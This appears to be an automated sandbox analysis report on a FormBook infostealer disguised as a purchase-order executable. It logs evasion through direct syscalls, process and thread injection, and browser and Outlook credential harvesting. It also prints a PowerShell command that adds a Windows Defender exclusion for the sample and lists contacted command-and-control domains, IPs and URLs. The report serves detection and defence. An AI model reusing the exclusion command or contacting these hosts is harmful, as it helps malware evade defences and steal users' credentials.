Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BEC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtQueryInformationToken: Direct from: 0x76EF2CAC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtCreateFile: Direct from: 0x76EF2FEC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtOpenFile: Direct from: 0x76EF2DCC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtTerminateThread: Direct from: 0x76EF2FCC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtOpenKeyEx: Direct from: 0x76EF2B9C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtSetInformationProcess: Direct from: 0x76EF2C5C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtProtectVirtualMemory: Direct from: 0x76EF2F9C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtWriteVirtualMemory: Direct from: 0x76EF2E3C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtNotifyChangeKey: Direct from: 0x76EF3C2C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtCreateMutant: Direct from: 0x76EF35CC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtResumeThread: Direct from: 0x76EF36AC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtMapViewOfSection: Direct from: 0x76EF2D1C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BFC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtQuerySystemInformation: Direct from: 0x76EF2DFC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtReadFile: Direct from: 0x76EF2ADC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtDelayExecution: Direct from: 0x76EF2DDC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtQueryInformationProcess: Direct from: 0x76EF2C26 Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtResumeThread: Direct from: 0x76EF2FBC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtCreateUserProcess: Direct from: 0x76EF371C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtAllocateVirtualMemory: Direct from: 0x76EF3C9C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtWriteVirtualMemory: Direct from: 0x76EF490C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtSetInformationThread: Direct from: 0x76EE63F9 Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtSetInformationThread: Direct from: 0x76EF2B4C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtReadVirtualMemory: Direct from: 0x76EF2E8C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtCreateKey: Direct from: 0x76EF2C6C Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory written: C:\Users\user\Desktop\PO Copy_7854569.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: NULL target: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Section loaded: NULL target: C:\Windows\SysWOW64\openfiles.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: NULL target: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: NULL target: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\openfiles.exe Thread register set: target process: 5756 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\openfiles.exe Thread APC queued: target process: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PO Copy_7854569.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Users\user\Desktop\PO Copy_7854569.exe "C:\Users\user\Desktop\PO Copy_7854569.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Users\user\Desktop\PO Copy_7854569.exe "C:\Users\user\Desktop\PO Copy_7854569.exe" Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe" Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000002.4440013475.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000000.2040563342.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000000.2206107371.0000000001761000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000002.4440013475.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000000.2040563342.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000000.2206107371.0000000001761000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000002.4440013475.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000000.2040563342.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000000.2206107371.0000000001761000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000002.4440013475.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000000.2040563342.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000000.2206107371.0000000001761000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Queries volume information: C:\Users\user\Desktop\PO Copy_7854569.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.4439108659.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4440623367.00000000045A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4440475032.0000000003810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2119855099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2120310446.00000000014E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4438790270.0000000002810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4442575534.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2122191823.0000000002E50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\openfiles.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.4439108659.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4440623367.00000000045A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4440475032.0000000003810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2119855099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2120310446.00000000014E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4438790270.0000000002810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4442575534.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2122191823.0000000002E50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0041824F I_ScRpcBindA, 6_2_0041824F
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1446507 Sample: PO Copy_7854569.exe Startdate: 23/05/2024 Architecture: WINDOWS Score: 100 34 www.ratulunabet78.xyz 2->34 36 www.crimsoncascade.xyz 2->36 38 21 other IPs or domains 2->38 46 Snort IDS alert for network traffic 2->46 48 Malicious sample detected (through community Yara rule) 2->48 50 Antivirus detection for URL or domain 2->50 54 10 other signatures 2->54 10 PO Copy_7854569.exe 4 2->10         started        signatures3 52 Performs DNS queries to domains with low reputation 36->52 process4 signatures5 66 Adds a directory exclusion to Windows Defender 10->66 68 Injects a PE file into a foreign processes 10->68 13 PO Copy_7854569.exe 10->13         started        16 powershell.exe 23 10->16         started        18 PO Copy_7854569.exe 10->18         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 20 sXAKgqpSAiGEzhyDsUSKBxPWz.exe 13->20 injected 72 Loading BitLocker PowerShell Module 16->72 23 conhost.exe 16->23         started        process8 signatures9 56 Found direct / indirect Syscall (likely to bypass EDR) 20->56 25 openfiles.exe 13 20->25         started        process10 signatures11 58 Tries to steal Mail credentials (via file / registry access) 25->58 60 Tries to harvest and steal browser information (history, passwords, etc) 25->60 62 Modifies the context of a thread in another process (thread injection) 25->62 64 2 other signatures 25->64 28 sXAKgqpSAiGEzhyDsUSKBxPWz.exe 25->28 injected 32 firefox.exe 25->32         started        process12 dnsIp13 40 tintasmaiscor.com 162.240.81.18, 53654, 53655, 53656 UNIFIEDLAYER-AS-1US United States 28->40 42 gregoriusalvin.com 103.247.10.164, 53652, 80 RUMAHWEB-AS-IDRumahwebIndonesiaCVID Indonesia 28->42 44 8 other IPs or domains 28->44 74 Found direct / indirect Syscall (likely to bypass EDR) 28->74 signatures14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
162.240.81.18
 tintasmaiscor.com United States
46606 UNIFIEDLAYER-AS-1US true
162.0.237.22
 www.crimsoncascade.xyz Canada
22612 NAMECHEAP-NETUS true
103.247.10.164
 gregoriusalvin.com Indonesia
58487 RUMAHWEB-AS-IDRumahwebIndonesiaCVID true
192.74.233.3
 www.6whebx.cyou United States
54600 PEGTECHINCUS false
84.32.84.32
 xn--bb55rtp-9va2p.store Lithuania
33922 NTT-LT-ASLT true
104.194.9.31
 digitoxmarketing.com United States
23470 RELIABLESITEUS false
154.55.135.138
 k2-ld.wakak1.shop United States
174 COGENT-174US false
63.250.43.147
 fidyart.com United States
22612 NAMECHEAP-NETUS false
89.31.143.90
 www.leaflearn.store Germany
15598 QSC-AG-IPXDE false
66.29.137.43
 ratulunabet78.xyz United States
19538 ADVANTAGECOMUS true

Contacted Domains

Name IP Active
gregoriusalvin.com 103.247.10.164 true
www.6whebx.cyou 192.74.233.3 true
k2-ld.wakak1.shop 154.55.135.138 true
ratulunabet78.xyz 66.29.137.43 true
www.crimsoncascade.xyz 162.0.237.22 true
fidyart.com 63.250.43.147 true
digitoxmarketing.com 104.194.9.31 true
tintasmaiscor.com 162.240.81.18 true
www.leaflearn.store 89.31.143.90 true
xn--bb55rtp-9va2p.store 84.32.84.32 true
www.designsbysruly.com unknown unknown
www.p65cq675did.shop unknown unknown
www.gcashservice247.com unknown unknown
www.gregoriusalvin.com unknown unknown
www.transformthedorm.com unknown unknown
www.infomail.website unknown unknown
www.digitoxmarketing.com unknown unknown
www.tintasmaiscor.com unknown unknown
www.xn--bb55rtp-9va2p.store unknown unknown
www.fidyart.com unknown unknown
www.weeveno.com unknown unknown
www.italiangreyhounds.online unknown unknown
www.ratulunabet78.xyz unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.fidyart.com/a42m/ false
  • 3%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://www.xn--bb55rtp-9va2p.store/a42m/?R0nl4=f64p&vH5=SpRmwiWWWie0LiCX9EyQXvy6lxMcCKfTuTRukl4i+K/mOSJ9++mgtoeJyEwnF13dco3p6AsQh3ikhhdZe62TUGOhYKvcqIkBTBlrJzQRtlxjx1oX6jajL6xfb2K92Bka0g== true
  • Avira URL Cloud: malware
 unknown
http://www.6whebx.cyou/a42m/?R0nl4=f64p&vH5=nLiHY6ZlzAe25GxlmAxaMXLPD/QIkKTmL2k396ng4hoKCGGx5/R6Lgv+VE3CAus50oYKw0M+CtaS1Cqyitq9Qy6dvHCDxXkEGnRvDu59ECZqrIMOmhT00aeob0V7fCoJ5Q== false
  • Avira URL Cloud: safe
 unknown
http://www.digitoxmarketing.com/a42m/ false
  • 1%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://www.ratulunabet78.xyz/a42m/ false
